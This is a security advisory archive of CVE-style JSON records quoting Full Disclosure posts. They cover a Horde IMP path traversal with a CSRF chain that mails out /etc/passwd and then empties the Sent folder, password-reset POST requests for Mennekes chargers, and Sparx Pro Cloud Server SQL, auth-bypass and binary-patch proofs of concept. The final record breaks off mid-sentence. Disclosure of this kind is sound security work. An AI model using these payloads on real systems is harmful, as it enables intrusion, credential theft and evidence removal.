Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "imp",
          "vendor": "horde",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "\u3164evan via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "this is my first time sending to a mailing list so ive chosen\nsomething easy. here goes:\n\nSummary: Horde Groupware\u2019s IMP Webmail solution contains a path\ntraversal/local file inclusion vulnerability which could be exploited\nto escalate privileges or bypass authentication (through CSRF if\nunauthenticated).\n\nthe vulnerability is in here:\n\n} elseif (strcasecmp($node-\u003etagName, \u0027IMG\u0027) === 0) {\n                /* Check for smileys. They live in the JS directory, under\n                 * the base ckeditor directory, so search for that and replace\n                 * with the filesystem information if found (Request\n                 * #13051). Need to ignore other image links that may have\n                 * been explicitly added by the user. */\n                $js_path = strval(Horde::url($registry-\u003eget(\u0027jsuri\u0027,\n\u0027horde\u0027), true));\n                if (stripos($src, $js_path . \u0027/ckeditor\u0027) === 0) {\n                    $file = str_replace(\n                        $js_path,\n                        $registry-\u003eget(\u0027jsfs\u0027, \u0027horde\u0027),\n                        $src\n                    );\n\n                    if (is_readable($file)) {\n                        $data_part = new Horde_Mime_Part();\n                        $data_part-\u003esetContents(file_get_contents($file));\n                      ...\n\nas seen, we control $file, which is just the src in \u003cimg src=\"\"\u003e. to\nget past the checks to hit our file_get_contents sink, we can just\nsatisfy the stripos check. our (elementary) exploit is thus:\n--\n\u003cimg src=\"https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\";\u003e\n--\nthis is likely very chainable with any other existing primitive to\nachieve rce on horde IMP. for example, heres an easy csrf chain:\n\n--\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n    \u003ch1\u003eyo\u003c/h1\u003e\n    \u003cscript\u003e\n        var p1 = new FormData();\n        p1.append(\u0027to\u0027, \u0027john () evil gov\u0027);\n        // land in spam\n        p1.append(\u0027subject\u0027, \u0027hai\u0027);\n        p1.append(\u0027html\u0027, \u00271\u0027);\n        p1.append(\u0027message\u0027,\n            \u0027\u003chtml\u003e\u003cbody\u003ebye\u003cimg\nsrc=\"http://targ/horde/js/ckeditor/../../../../etc/passwd\";\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n\n        p1.append(\u0027identity\u0027, \u00270\u0027);\n        p1.append(\u0027priority\u0027, \u0027normal\u0027);\n        p1.append(\u0027request_read_receipt\u0027, \u00270\u0027);\n        p1.append(\u0027save_sent_mail\u0027, \u00271\u0027);\n        fetch(\u0027http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos;, {\n                method: \u0027POST\u0027,\n                body: p1,\n                credentials: \u0027include\u0027,\n                mode: \u0027no-cors\u0027\n            })\n            .then(() =\u003e {\n                console.log(\"* bye\");\n                setTimeout(() =\u003e {\n                    var p2 = new FormData();\n                    p2.append(\u0027mbox\u0027, \u0027U0VOVA\u0027); // b64 SENT\n                    // delete\n\nfetch(\u0027http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos;, {\n                        method: \u0027POST\u0027,\n                        body: p2,\n                        credentials: \u0027include\u0027,\n                        mode: \u0027no-cors\u0027\n                    });\n                }, 2000);\n            });\n    \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n--\n\nPATCH:\nupdate to horde imp 7.0.1 for the patch.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/8"
        },
        {
          "url": "http://targ/horde/js/ckeditor/../../../../etc/passwd\""
        },
        {
          "url": "http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos"
        },
        {
          "url": "http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\""
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-58451",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0327",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8",
            "automated": true,
            "contentSha256": "83cf4dad4368e78dfc8982e302ba2f7764e6d48049bcc80c6dac2893337b83d0",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-02T17:04:19Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0327"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0327"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260528-0\n-------------------------------------------------------------------------------\n                title| Multiple Vulnerabilities\n              product| Mennekes Amtron Series and Smart-T PnC\n   vulnerable version| 5.22.3\n        fixed version| 5.33.11-21500\n           CVE number| CVE-2026-8979, CVE-2026-8980\n               impact| High\n             homepage| https://www.mennekes.at/\n                found| 2025-11-27\n                   by| S. Eisenreich-Dietz, T. Weber\n                     | CyberDanube Security Research\n                     | Austria - Vienna\n                     | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\nFor more than 80 years, MENNEKES has stood for quality electrical products and\nservice throughout the world. When it comes to solutions that handle current\nintelligently and safely, we set the standard for innovation, quality,\nmanufacturing and development.\n\nSource: https://www.mennekes.com/about/about-us\n\n\nVulnerable Products\n-------------------------------------------------------------------------------\nAmtron Professional\nAmtron Professional (Eichrecht)\nAmedio Professional\nAmtron Charge Control\nAmtron Professional Twincharge\nSmart-T PnC\n\nVulnerability Overview\n-------------------------------------------------------------------------------\n1) Authentication Bypass (CVE-2026-8979)\nAn unauthentication attacker can use a crafted POST request to change the\npassword of the user account.\n\n2) Privilege Escalation (CVE-2026-8980)\nAn authenticated attacker can use a crafted POST request to change the password\nof the manufacturer and admin account as low privileged user.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authentication Bypass (CVE-2026-8979)\nThe following POST request can be used to change the password of the user\naccount to \"asdf\"\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /operator/operator HTTP/1.1\nHost: 10.201.74.66\nAccept-Language: en-US,en;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag\ne/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 24\nUserPwdPlain_custom=asdf\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n2) Privilege Escalation (CVE-2026-8980)\nThe following POST requests can be used to change the admin (operator) and\nmanufacturer account password to \"asdf\".\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /json/settings.json HTTP/1.1\nHost: 10.201.74.66\nContent-Length: 60\nAuthorization: e81179e1-5e50-45d4-8ee6-27161dcf69d8\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nContent-Type: application/json;charset=UTF-8\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nOrigin: http://10.201.74.66\nReferer: http://10.201.74.66/groups/system\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n{\"params\":[{\"key\":\"OperatorPwdPlain_custom\",\"value\":\"asd\"}]}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /json/settings.json HTTP/1.1\nHost: 10.201.74.66\nContent-Length: 59\nAuthorization: 526ee807-4295-46f3-a9e4-0f4bcac97af9\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nContent-Type: application/json;charset=UTF-8\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nOrigin: http://10.201.74.66\nReferer: http://10.201.74.66/groups/system\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n{\"params\":[{\"key\":\"ManufacturerPwd_custom\",\"value\":\"asd\"}]}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\nSolution\n-------------------------------------------------------------------------------\nUpdate to the newest Firmware.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict access to the device.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-02-24:\u2002Get in contact with psirt () mennekes de\n2025-02-25:\u2002Vulnerabilities get acknowledged and are forwarded to BENDER\n                as they are the manufacturer for the devices.\n2025-03-18:\u2002Ask for update regarding fixes, CVE numbers, fixed version and\n                effected products. Response states that they will not create\n                CVEs.\n2025-05-28: Release of advisory.\u2002\u2002\u2002\u2002\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF S. Eisenreich-Dietz / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/25"
        },
        {
          "url": "http://10.201.74.66"
        },
        {
          "url": "http://10.201.74.66/groups/system"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.mennekes.at/"
        },
        {
          "url": "https://www.mennekes.com/about/about-us"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260528-0 | Multiple Vulnerabilities in Multiple Vulnerabilities in Mennekes Amtron Series",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-8979",
              "type": "related"
            },
            {
              "destId": "CVE-2026-8980",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0326",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/25",
            "automated": true,
            "contentSha256": "a8daaddb97117301cce132a44cca1c8846b894411b06106ef058a1c0912dd4a2",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-29T14:33:21Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0326"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0326"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Adamczyk Blazej"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nMultiple vulnerabilities in Sparx Pro Cloud Server and Enterprise Architect\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\nGeneral information\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n  Multiple vulnerabilities in Sparx Pro Cloud Server (PCS) versions \u003c=\n  6.1 and Sparx Enterprise Architect versions \u003c=17.1 allow a remote\n  unauthenticated attacker to execute arbitrary sql queries (both read\n  and write) within any configured database. In case where PCS is\n  installed with WebEA the vulnerabilities allow further for remote\n  unauthenticated code execution (RCE) within the web server context.\n\n  CVSSv4 chained score: *10.0 Critical*\n  (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\n\nFix\n\u2550\u2550\u2550\n\n  Currently vendor *did not resolve* any of the CVEs. The PCS\n  authentication bypass and race condition seem to be easy to implement\n  and I hope vendor will release patches soon.\n\n  As a workaround it is best to isolate the PCS instances from internet\n  and untrusted networks. Create frequent backups and review access logs\n  if possible. You could also setup a proxy to limit the PCS\n  authentication bypass (dropping requests with no or wrong model query\n  parameter.\n\n\n[Vulnerabilitiy #1] Sparx Pro Cloud Server SQL Command Execution\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCVE\n\u2500\u2500\u2500\n\n  CVE-2026-42096 - Broken Access Control in Sparx Pro Cloud Server\n\n\nAffected versions\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Sparx Pro Cloud Server versions \u003c= 6.1 build 167\n\n\nCVSSv4\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  9.4 Critical\n  (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\n\nImpact\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  PCS works as a remote model for a thick client, running on user\u0027s\n  computers, called Enterprise Architect (EA). EA connects to PCS and\n  works with the exposed database by directly running SQL queries.\n  Besides user authentication (which is also vulnerable - see\n  vulnerability #2 below) there is no additional access control. Any low\n  privileged user can actually run any sql queries permitted by the\n  configured external database user. Usually the user configured is at\n  least having full access to the model database - thus any low\n  privileged user can actually destroy the whole model, retrieve and\n  change other user\u0027s password hashes and more.\n\n  The problem seems to be with legacy thick client EA architecture which\n  simply works on a database to manage all the model details.\n\n\nDetails\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  The client (EA) is connecting to the PCS HTTP server. The server might\n  require authentication *if it is properly configured* - an admin can\n  check \"Enable Security\" in EA but still not select \"Require a secure\n  and authenticated connection\" in PCS configuration what results in *NO\n  SERVER SIDE authentication at all*.\n\n  Assuming the server side authentication is required the PCS verifies\n  the authentication according to configuration - e.g. login/password,\n  Active Directory or OpenID.\n\n  Then the EA client sends request to perform SQL queries on the\n  database in an ecrypted form but the whole encryption scheme is built\n  into the client EA binary (actually downloadable from the vendor\n  webside without any authentication - as trial version). The encryption\n  is symmetric using a key contained within the binary itself thus\n  simply this is not any security measure (security by obscurity).\n\n  An attacker can obtain the key and then *create and send custom SQL\n  queries to be performed by the database*.\n\n\nPoC\n\u2500\u2500\u2500\n\n  Exploit: https://github.com/br0xpl/sparx_hack/blob/main/eacrypt.py\n  is a python script which exploits the SQL vulnerability by encrypting\n  any SQL command and sending it to the server. For security,\n  the real key is removed from the exploit code.\n\n  This script receives all users and their hashes from PCS:\n  \u250c\u2500\u2500\u2500\u2500\n  \u2502 python3 eacrypt.py http://${PCS_HOSTNAME} model \"select * from t_secuser, t_xref where t_xref.Type=\u0027User Setting\u0027 \nand t_xref.Name =\u0027SHA-256\u0027 and t_xref.Client=t_secuser.UserID\"\n  \u2514\u2500\u2500\u2500\u2500\n\n\nSolution\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  It will be hard to introduce proper authorization for all types of SQL\n  queries - this would require to rewrite the logic to use some higher\n  abstraction API which can be properly authorized.\n\n  Until a proper authorized API will be provided a quick solution could\n  be at least to verify the SQL queries executed and block the most\n  dangerous like asking about other users\u0027 passwords and so on. Maybe a\n  query whitelist with limiting the view of some critical assets like\n  hashes.\n\n  For sure it should be transparently stated in the PCS and EA\n  documentation web page. Some integrators and admins are aware of this\n  risk (there are some topics on the forum mentioning that the model\n  security is not in fact security) but this *should be well described\n  in both product documentations* as a limitation and risk which needs\n  to be understood by clients and taken into consideration at an early\n  stage while designing a production system. Otherwise it poses a high\n  risk for any company using those products.\n\n\n[Vulnerability #2] Sparx Pro Cloud Server Authentication Bypass\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCVE\n\u2500\u2500\u2500\n\n  CVE-2026-42097 - Authentication Bypass in Sparx Pro Cloud Server\n\n\nAffected versions\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Sparx Pro Cloud Server versions \u003c= 6.1 build 167\n\n\nCVSSv4\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  9.2 Critical\n  (CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)\n\n\nImpact\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  An attacker can *omit PCS authentication* and e.g. combined with the\n  previous vulnerability be able to remotely execute arbitrary SQL\n  commands (read and write) *without authentication*.\n\n\nDetails\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  It seems that PCS requires authentication based on requested URL. EA\n  clients sending the encrypted SQL query to PCS are using an url which\n  looks as follows:\n\n  \u250c\u2500\u2500\u2500\u2500\n  \u2502 https://${PCS_SERVER_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}\n  \u2514\u2500\u2500\u2500\u2500\n\n  PCS seems to look at the URL and decides how to authenticate the\n  request. Unfortunately the SQL command query sends a POST request with\n  a binary blob where the model name is defined one more time and this\n  is the value that is further used by PCS to execute the query.\n\n  Thus an attacker can simply omit the model query parameter and send\n  the model name only in the binary blob in both TLS and non-TLS ports\n  and the query will be executed even thought there was no\n  authentication.\n\n\nPoC\n\u2500\u2500\u2500\n\n  To quickly verify compare the authenticated response for a request:\n  \u250c\u2500\u2500\u2500\u2500\n  \u2502 curl \u0027https://${PCS_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}\u0026apos; -X POST  -vvv --data \u0027whatever\u0027 -k\n  \u2514\u2500\u2500\u2500\u2500\n\n  which responds 401 Access Denied to response of a request without the\n  query param:\n\n  \u250c\u2500\u2500\u2500\u2500\n  \u2502 curl \u0027https://${PCS_HOSTNAME}/SparxCloudLink.sseap\u0026apos; -X POST  -vvv --data \u0027whatever\u0027 -k\n  \u2514\u2500\u2500\u2500\u2500\n\n  which responds 500 Internal Server Error.\n\n  To proof this properly use the python code which exploits the #1\n  SQL vulnerability and uses the URL without model query parameter to\n  omit the authentication.\n\n\nSolution\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Make a single parameter pointing the model (either in the blob or in\n  query param) and hook authentication and query logic on the same\n  parameter.\n\n\n[Vulnerability #3] Sparx Enterprise Architect Authorization Bypass\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCVE\n\u2500\u2500\u2500\n\n  CVE-2026-42098 - Authorization Bypass in Sparx Enterprise Architect\n\n\nAffected versions\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Sparx Enterprise Architect versions \u003c= 17.1\n\n\nCVSSv4\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  7.7 High\n  (CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)\n\n\nImpact\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Sparx Enterprise Architect software has a security feature which can\n  be enabled. When enabled the users can be limited to perform only some\n  actions by roles but this is not a real security measure as it can be\n  easily bypassed.\n\n  *Any authenticated user can actually perform any action on the model*\n  including deletion, stealing of other users\u0027 passwords and many\n  others. This *includes configurations with Pro Cloud Server* where\n  vendor advertises that PCS brings high level of security for the\n  model:\n\n        Robust security features are designed to protect sensitive\n        model information, *including role-based access control*,\n        encryption, authentication mechanisms and audit trails.\n\n        source: \u003chttps://www.sparxsystems.eu/pro-cloud-server/\u003e\n\n\nDetails\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  This vulnerability, most probably, is a result of the legacy thick\n  client architecture described in the vulnerability #1.\n\n  The EA documentation states briefly that the security is not a real\n  security:\n\n        The Security system in Enterprise Architect is designed to\n        facilitate collaboration, *not as a barrier to incursion*.\n\n        source:\n        \u003chttps://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html\u003e\n\n  but right below it suggests that model assets should be secured:\n\n        The information contained in the Repository is a valuable\n        organizational asset that needs to be maintained and\n        secured as such. The asset must be protected from both\n        *intentional* and inadvertent compromises of content. The\n        Security system allows update functions to be restricted\n        to a set of users or groups with the appropriate defined\n        permission. Packages, elements and diagrams can be locked\n        by users, preventing others from updating them.\n\n        source:\n        \u003chttps://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html\u003e\n\n  Unfortunately the current design is not protecting against intentional\n  compromises of content. An attacker can modify the EA client behavior\n  (e.g. using a debugger) to login in as any other user or administrator\n  - then it is possible to do every possible change to the repository.\n\n\nPoC\n\u2500\u2500\u2500\n\n  To show how it works it is enough to patch the binary to change the\n  logic and accept all incorrect passwords and reject correct ones. For\n  the file version 17.1.0.1714 of EA.exe (md5sum:\n  69dfe7b98d1fc156d15d8aeff726cfce) the following would patch the logic:\n\n  \u250c\u2500\u2500\u2500\u2500\n  \u2502 printf \u0027\\x84\u0027 | dd of=EA.exe bs=1 seek=$((0x34657B2)) conv=notrunc\n  \u2514\u2500\u2500\u2500\u2500\n\n  Then run the patched exe and try to login to local model with\n  different password. It also works obviously for cloud models which do\n  not require server HTTP authentication or when using the \"Login as\n  different user option\".\n\n\nSolution\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  The way security works for EA should be properly and transparently\n  presented in the EA documentation and installation notes. The sentence\n  quoted above is not enough and can be easily misinterpreted by many\n  users leading to vulnerabilities.\n\n  Also it should be explained that even when using PCS after\n  authentication there is no authorization until visibility levels are\n  enabled which are working per whole database manager not user - so in\n  fact there is no user based RBAC but rather database manager RBAC what\n  is much more coarse grained then per user roles access control.\n\n  In terms of combination of EA and PCS it is possible to secure the\n  design by e.g. following the recommendations proposed in vulnerability\n  #1.\n\n\n[Vulnerability #4] Sparx Pro Cloud Server WebEA Remote Code Execution\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCVE\n\u2500\u2500\u2500\n\n  CVE-2026-42099 - Race Condition in Sparx Pro Cloud Server\n\n\nAffected versions\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Sparx Pro Cloud Server versions \u003c= 6.1 build 167\n\n\nCVSSv4\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  9.0 Critical\n  (CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\n\nImpact\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  PCS configured with WebEA PHP application allows for remote command\n  execution using the /data_api/dl_internal_artifact.php endpoint. This\n  URL is used by WebEA to download content of a internal artifact. A\n  remote attacker having access to the PCS repository is able to inject\n  a malicious php file into the "
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/17"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/17"
        },
        {
          "url": "http://${PCS_HOSTNAME}"
        },
        {
          "url": "https://${PCS_HOSTNAME}"
        },
        {
          "url": "https://${PCS_HOSTNAME}/SparxCloudLink.sseap\u0026apos"
        },
        {
          "url": "https://${PCS_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}\u0026apos"
        },
        {
          "url": "https://${PCS_SERVER_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}"
        },
        {
